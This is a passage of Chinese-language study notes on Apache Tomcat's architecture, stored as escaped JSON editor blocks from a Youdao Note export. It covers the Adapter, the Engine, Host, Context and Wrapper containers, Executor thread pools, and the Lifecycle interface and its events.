4;:&#34;默认 coyote 的 servlet 容器入口点。&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;t5Do-1658129867436&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;level&#34;:&#34;h4&#34;,&#34;style&#34;:{&#34;textIndent&#34;:28}},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;nCue-1658129867435&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;设计逻辑：&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;bold&#34;},{&#34;type&#34;:&#34;fontSize&#34;,&#34;value&#34;:18}]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;omZe-1658129856524&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;style&#34;:{&#34;textIndent&#34;:28}},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;1qyu-1658129856521&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Tomcat通过该适配器模式实现Connector与Mapper、Container的解耦。&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;5L9k-1658130502199&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;style&#34;:{&#34;textIndent&#34;:28}},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;1T1k-1658130502196&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;若想要使用Adapter方案，但是又想脱离Servlet容器，只需实现自定义的Adapter即可，但同样的，自定义的容器实现需满足Container定义。&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;0y9C-1658127176157&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;style&#34;:{&#34;indent&#34;:0},&#34;level&#34;:&#34;h3&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;bZ4w-1658127176155&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;7.Engine：&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;bold&#34;},{&#34;type&#34;:&#34;fontSize&#34;,&#34;value&#34;:20}]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;GaTu-1658129281045&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;level&#34;:&#34;h4&#34;,&#34;style&#34;:{&#34;indent&#34;:0,&#34;textIndent&#34;:28}},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;PfNK-1658129281042&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;定义：&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;bold&#34;},{&#34;type&#34;:&#34;fontSize&#34;,&#34;value&#34;:18}]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;NiJ8-1658130831779&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;style&#34;:{&#34;textAlign&#34;:&#34;left&#34;,&#34;textIndent&#34;:28}},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;AbWD-1658130831780&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Engine表示整个Servlet引擎。在Tomcat中，Engine为最高层级的容器对象。尽管Engine不是直接处理请求的容器，却是获取目标容器的入口。&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;T4R4-1658112740043&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;style&#34;:{&#34;indent&#34;:0},&#34;level&#34;:&#34;h3&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;fIZU-1658112740041&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;8.Host：&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;bold&#34;},{&#34;type&#34;:&#34;fontSize&#34;,&#34;value&#34;:20}]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ZxiR-1658129282630&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;level&#34;:&#34;h4&#34;,&#34;style&#34;:{&#34;indent&#34;:0,&#34;textIndent&#34;:28}},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;r0Nn-1658129282628&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;定义：&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;bold&#34;},{&#34;type&#34;:&#34;fontSize&#34;,&#34;value&#34;:18}]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;gWuC-1658130834097&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;style&#34;:{&#34;textAlign&#34;:&#34;left&#34;,&#34;textIndent&#34;:28}},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;qdOj-1658130834098&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Host作为一类容器，表示Servlet引擎（即Engine）中的虚拟机，与一个服务器的网络名有关，如域名等。客户端可以使用这个网络名连接服务器，这个名称必须要在DNS服务器上注册。&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ibx1-1658112898065&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;style&#34;:{&#34;indent&#34;:0},&#34;level&#34;:&#34;h3&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Mc0s-1658112898064&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;9.Context：&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;bold&#34;},{&#34;type&#34;:&#34;fontSize&#34;,&#34;value&#34;:20}]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;EvmX-1658130534341&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;level&#34;:&#34;h4&#34;,&#34;style&#34;:{&#34;indent&#34;:0,&#34;textIndent&#34;:28}},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;808q-1658130534342&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;定义：&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;bold&#34;},{&#34;type&#34;:&#34;fontSize&#34;,&#34;value&#34;:18}]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ostp-1658130837249&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;style&#34;:{&#34;textAlign&#34;:&#34;left&#34;,&#34;textIndent&#34;:28}},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;wxEB-1658130837250&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Context作为一类容器，用于表示ServletContext，在Servlet规范中，一个ServletContext即表示 Context。&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;AfbI-1658112903307&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;style&#34;:{&#34;indent&#34;:0},&#34;level&#34;:&#34;h3&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;3Nh3-1658112903305&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;10.Wrapper：&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;bold&#34;},{&#34;type&#34;:&#34;fontSize&#34;,&#34;value&#34;:20}]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;oZ1R-1658129285718&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;level&#34;:&#34;h4&#34;,&#34;style&#34;:{&#34;textIndent&#34;:28}},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;MGlP-1658129285716&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;定义：&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;bold&#34;},{&#34;type&#34;:&#34;fontSize&#34;,&#34;value&#34;:18}]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;BwbR-1658133065071&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;style&#34;:{&#34;textAlign&#34;:&#34;left&#34;,&#34;textIndent&#34;:28}},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;91dE-1658133065070&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Wrapper作为一类容器，用于表示Web应用中定义的Servlet Executor。&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;kVqU-1658112850895&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;level&#34;:&#34;h3&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Uaxf-1658112850893&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;11.Executer：&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;bold&#34;},{&#34;type&#34;:&#34;fontSize&#34;,&#34;value&#34;:20}]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;xumi-1658133105856&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;level&#34;:&#34;h4&#34;,&#34;style&#34;:{&#34;textIndent&#34;:28}},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;27Wt-1658133105854&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;定义：&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;bold&#34;},{&#34;type&#34;:&#34;fontSize&#34;,&#34;value&#34;:18}]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;zosl-1658133108609&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;style&#34;:{&#34;textAlign&#34;:&#34;left&#34;,&#34;textIndent&#34;:28}},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;jeoS-1658133108607&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;表示Tomcat组件间可以共享的线程池。&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;PjSB-1658112379956&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;style&#34;:{&#34;textIndent&#34;:28}},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;a99t-1658112379936&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;在Tomcat中Executor由Service维护，因此同一个Service中的组件可以共享一个线程池。&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;74tX-1658134256705&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;style&#34;:{&#34;textIndent&#34;:28}},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;WIPL-1658134256704&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;如果没有定义任何线程池，相关组件( 如Endpoint)会自动创建线程池，此时，线程&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;8prZ-1658134256707&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;u73Y-1658134256706&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;池不再共享。&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;lYhg-1658134256709&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;style&#34;:{&#34;textIndent&#34;:28}},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;C0Cf-1658134256708&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;在Tomcat中，Endpoint会启动一组线程来监听Socket端口，当接收到客户端请求后，会创建请求处理对象，并交由线程池处理，由此支持并发处理客户端请求。&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;cITj-1658112383606&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;level&#34;:&#34;h3&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;If0a-1658112383604&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;12.Lifecycle：&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;bold&#34;},{&#34;type&#34;:&#34;fontSize&#34;,&#34;value&#34;:20}]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;XJKw-1658134444828&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;level&#34;:&#34;h4&#34;,&#34;style&#34;:{&#34;textIndent&#34;:28}},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;kWBH-1658134444829&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;定义：&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;bold&#34;},{&#34;type&#34;:&#34;fontSize&#34;,&#34;value&#34;:18}]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;kjTN-1658135149402&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;style&#34;:{&#34;textIndent&#34;:28}},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;WGaf-1658135149403&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;用于管理组件生命周期的核心接口，提供通用性定义用于应用服务器的统一管理。&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;2Oa8-1658135120357&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;level&#34;:&#34;h4&#34;,&#34;style&#34;:{&#34;textIndent&#34;:28}},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;XOeI-1658135120358&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;设计逻辑：&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;bold&#34;},{&#34;type&#34;:&#34;fontSize&#34;,&#34;value&#34;:18}]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;WOPb-1658135144365&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;style&#34;:{&#34;textIndent&#34;:28}},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Jr08-1658135144363&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Tomcat中所有组件均存在启动、停止等生命周期方法，拥有生命周期管理的特性。因此，Tomcat针对所有拥有生命周期管理特性的组件抽象了一个Lifecycle通用接口,该接口定义了生命周期管理的核心方法。&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;GI5V-1658135048645&#34;,&#34;name&#34;:&#34;list-item&#34;,&#34;data&#34;:{&#34;listId&#34;:&#34;q1le-1658135409954&#34;,&#34;listType&#34;:&#34;unordered&#34;,&#34;listLevel&#34;:1,&#34;style&#34;:{&#34;textIndent&#34;:0}},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;8lqO-1658135048643&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Init(): 初始化组件&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{&#34;index&#34;:1}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;rP34-1658135342827&#34;,&#34;name&#34;:&#34;list-item&#34;,&#34;data&#34;:{&#34;listId&#34;:&#34;q1le-1658135409954&#34;,&#34;listType&#34;:&#34;unordered&#34;,&#34;listLevel&#34;:1,&#34;style&#34;:{&#34;textIndent&#34;:0}},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;9izd-1658135342813&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;start(): 启动组件&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{&#34;index&#34;:2}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;djSc-1658135358914&#34;,&#34;name&#34;:&#34;list-item&#34;,&#34;data&#34;:{&#34;listId&#34;:&#34;q1le-1658135409954&#34;,&#34;listType&#34;:&#34;unordered&#34;,&#34;listLevel&#34;:1,&#34;style&#34;:{&#34;textIndent&#34;:0}},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;nEhp-1658135358912&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;stop(): 停止组件&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{&#34;index&#34;:3}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;xTZz-1658135376577&#34;,&#34;name&#34;:&#34;list-item&#34;,&#34;data&#34;:{&#34;listId&#34;:&#34;q1le-1658135409954&#34;,&#34;listType&#34;:&#34;unordered&#34;,&#34;listLevel&#34;:1,&#34;style&#34;:{&#34;textIndent&#34;:0}},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;vHGK-1658135376575&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;destory(): 销毁组件&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{&#34;index&#34;:4}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;jdM0-1658135412107&#34;,&#34;name&#34;:&#34;list-item&#34;,&#34;data&#34;:{&#34;listId&#34;:&#34;uTG0-1658135601411&#34;,&#34;listType&#34;:&#34;unordered&#34;,&#34;listLevel&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;fWK3-1658135412105&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;addLifecycleListener(): 添加LifecycleListener以用于监听组件状态。&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{&#34;index&#34;:1}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Lk2o-1658135443592&#34;,&#34;name&#34;:&#34;list-item&#34;,&#34;data&#34;:{&#34;listId&#34;:&#34;uTG0-1658135601411&#34;,&#34;listType&#34;:&#34;unordered&#34;,&#34;listLevel&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;yvZv-1658135443590&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;removeLifecycleListener(): 移除LifecycleListener。&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{&#34;index&#34;:2}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Ygis-1658135388684&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;style&#34;:{&#34;textIndent&#34;:28}},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;IKqJ-1658135388683&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Tomcat核心组件的默认实现均继承自LifecycleMBeanBase抽象类,该类不但负责组件各个&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;wO6b-1658135683065&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;b1dC-1658135683064&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;状态的转换和事件处理，还将组件自身注册为MBean,以便通过Tomcat的管理工具进行动态维护。&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;IwHj-1658136238711&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;level&#34;:&#34;h4&#34;,&#34;style&#34;:{&#34;textIndent&#34;:28}},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;9LiE-1658136238708&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Lifecycle状态转换：&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;bold&#34;},{&#34;type&#34;:&#34;fontSize&#34;,&#34;value&#34;:18}]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;NK56-1658136309139&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;style&#34;:{&#34;textIndent&#34;:28}},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;b04P-1658136309140&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;状态图：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;eGZm-1658136296854&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;//note.youdao.com/yws/res/a/WEBRESOURCEbd3c4ff8e376b9621a177e00b1fb12fa&#34;,&#34;width&#34;:415,&#34;height&#34;:329},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;//note.youdao.com/yws/res/a/WEBRESOURCEbd3c4ff8e376b9621a177e00b1fb12fa&#34;,&#34;initialSize&#34;:{&#34;width&#34;:415,&#34;height&#34;:326},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;PgRS-1658136239548&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;style&#34;:{&#34;textIndent&#34;:28}},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;bn0p-1658136239546&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Tomcat生命周期事件与状态映射：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;hVri-1658136352171&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;//note.youdao.com/yws/res/1/WEBRESOURCE0159dc106fa9a05b09769374501b79f1&#34;,&#34;width&#34;:595,&#34;height&#34;:214},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;//note.youdao.com/yws/res/1/WEBRESOURCE0159dc106fa9a05b09769374501b79f1&#34;,&#34;initialSize&#34;:{&#34;width&#34;:595,&#34;height&#34;:214},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;vAEO-1658136365771&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;//note.youdao.com/yws/res/6/WEBRESOURCE3f33860e22fa1011639c993d85e566b6&#34;,&#34;width&#34;:595,&#34;height&#34;:156},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;//note.youdao.com/yws/res/6/WEBRESOURCE3f33860e22fa1011639c993d85e566b6&#34;,&#34;initialSize&#34;:{&#34;width&#34;:595,&#34;height&#34;:156},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;kVqJ-1658112384324&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;uGSq-1658112384322&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Tomcat默认提供了3个与状态无关的事件类型,其中PERIODIC_ EVENT主要用于Container的后台定时处理，每次调用后触发该事件。CONFIGURE_ START_ EVENT和&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;OW19-1658136450695&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ElF9-1658136450694&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;CONFIGURE_ STOP_ EVENT将在一些组件的configure加载中起到作用。&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;RoZ9-1658112384449&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;w0nJ-1658112384447&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;83G1-1658112384576&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;level&#34;:&#34;h2&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;WFOb-1658112384574&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;处理逻辑&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;bold&#34;},{&#34;type&#34;:&#34;fontSize&#34;,&#34;value&#34;:22}]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;DR3C-1658845981376&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;0qLy-1658845981377&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;将上述组件整理一下，整个Tomcat的组成可概括为：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ik83-1658846013631&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;//note.youdao.com/yws/res/0/WEBRESOURCE201574bb774a6272482da701a969e190&#34;,&#34;width&#34;:494,&#34;height&#34;:196},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;//note.youdao.com/yws/res/0/WEBRESOURCE201574bb774a6272482da701a969e190&#34;,&#34;initialSize&#34;:{&#34;width&#34;:494,&#34;height&#34;:192},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;7Hni-1658845983285&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;HlTB-1658845983282&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;从这个角度来看Tomcat可分为两部分，Connector与Container。&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Jda3-1659006647417&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;mqPF-1659006647414&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Connector又分为ProtocolHandler与Adapter。&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;BNVa-1659006720059&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;dq3Z-1659006720056&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;ProtocolHandler主要用于处理底层的Socket链接（其实是一个&#34;,&#34;marks&#34;:[]},{&#34;text&#34;:&#34;SocketChannel对象&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;color&#34;,&#34;value&#34;:&#34;#333333&#34;},{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(255, 255, 